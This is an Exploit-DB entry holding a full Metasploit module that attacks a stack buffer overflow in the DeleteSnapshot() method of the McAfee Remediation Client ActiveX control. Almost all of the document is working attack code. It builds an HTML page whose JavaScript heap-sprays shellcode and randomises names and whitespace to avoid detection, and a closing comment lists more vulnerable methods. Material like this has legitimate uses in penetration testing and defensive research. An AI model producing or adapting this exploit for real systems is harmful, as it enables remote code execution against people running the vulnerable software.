Exploit-DB #16639
Description: McAfee Remediation Client - ActiveX Control Buffer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2010-11-11
Author: Metasploit

Exploit:
##
# $Id: mcafee_hercules_deletesnapshot.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = LowRanking

	include Msf::Exploit::FILEFORMAT

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'McAfee Remediation Client ActiveX Control Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack buffer overflow in McAfee Remediation Agent 4.5.0.41. When
				sending an overly long string to the DeleteSnapshot() method
				of enginecom.dll (3.7.0.9) an attacker may be able to execute arbitrary code.
				This control is not marked safe for scripting, so choose your attack vector accordingly.
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'MC' ],
			'Version'        => '$Revision: 10998 $',
			'References'     =>
				[
					[ 'URL', 'http://www.metasploit.com' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
					'DisablePayloadHandler' => 'true',
				},
			'Payload'        =>
				{
					'Space'         => 1024,
					'BadChars'      => "\x00",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]
				],
			'DisclosureDate' => 'Aug 4 2008',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('FILENAME', [ false, 'The file name.',  'msf.html']),
				], self.class)
	end

	def exploit
		# Encode the shellcode.
		shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

		# Create some nops.
		nops    = Rex::Text.to_unescape(make_nops(4))

		# Set the return.
		ret     = Rex::Text.uri_encode([target.ret].pack('L'))

		# Randomize the javascript variable names.
		vname  = rand_text_alpha(rand(100) + 1)
		var_i  = rand_text_alpha(rand(30)  + 2)
		rand1  = rand_text_alpha(rand(100) + 1)
		rand2  = rand_text_alpha(rand(100) + 1)
		rand3  = rand_text_alpha(rand(100) + 1)
		rand4  = rand_text_alpha(rand(100) + 1)
		rand5  = rand_text_alpha(rand(100) + 1)
		rand6  = rand_text_alpha(rand(100) + 1)
		rand7  = rand_text_alpha(rand(100) + 1)
		rand8  = rand_text_alpha(rand(100) + 1)

		content = %Q|<html>
<head>
<script>
try {
	var #{vname} = new ActiveXObject('Enginecom.imagineLANEngine.1');
	var #{rand1} = unescape('#{shellcode}');
	var #{rand2} = unescape('#{nops}');
	var #{rand3} = 20;
	var #{rand4} = #{rand3} + #{rand1}.length;
	while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
	var #{rand5} = #{rand2}.substring(0,#{rand4});
	var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
	while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
	var #{rand7} = new Array();
	for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
	var #{rand8} = "";
	for (#{var_i} = 0; #{var_i} < 1024; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
	#{vname}.DeleteSnapshot(#{rand8});
} catch( e ) { window.location = 'about:blank' ; }
</script>
</head>
</html>
|

		content = Rex::Text.randomize_space(content)

		print_status("Creating '#{datastore['FILENAME']}' file ...")

		file_create(content)
	end

end

=begin

Other vulnerable method's:

[id(0x0000000c), helpstring("method CreateSnapFromDefaultProfile")]
void CreateSnapFromDefaultProfile(BSTR szDescription);

[id(0x00000013), helpstring("method CreateReportOfSysInfoDifferences")]
void CreateReportOfSysInfoDifferences(
	BSTR szOldSnapFile,
	BSTR szNewSnapFile,
	BSTR szOutFile,
	short format,
	short append);

[id(0x0000000f), helpstring("method CreateReportOfSnapshotDifferences")]
void CreateReportOfSnapshotDifferences(
	BSTR szOldSnapFile,
	BSTR szNewSnapFile,
	BSTR szOutFile,
	short format);

[id(0x00000012), helpstring("method CreateReportOfAssetDifferences")]
void CreateReportOfAssetDifferences(
	BSTR szOldSnapFile,
	BSTR szNewSnapFile,
	BSTR szOutFile,
	short format,
	BSTR pszAsset,
	short append);

=end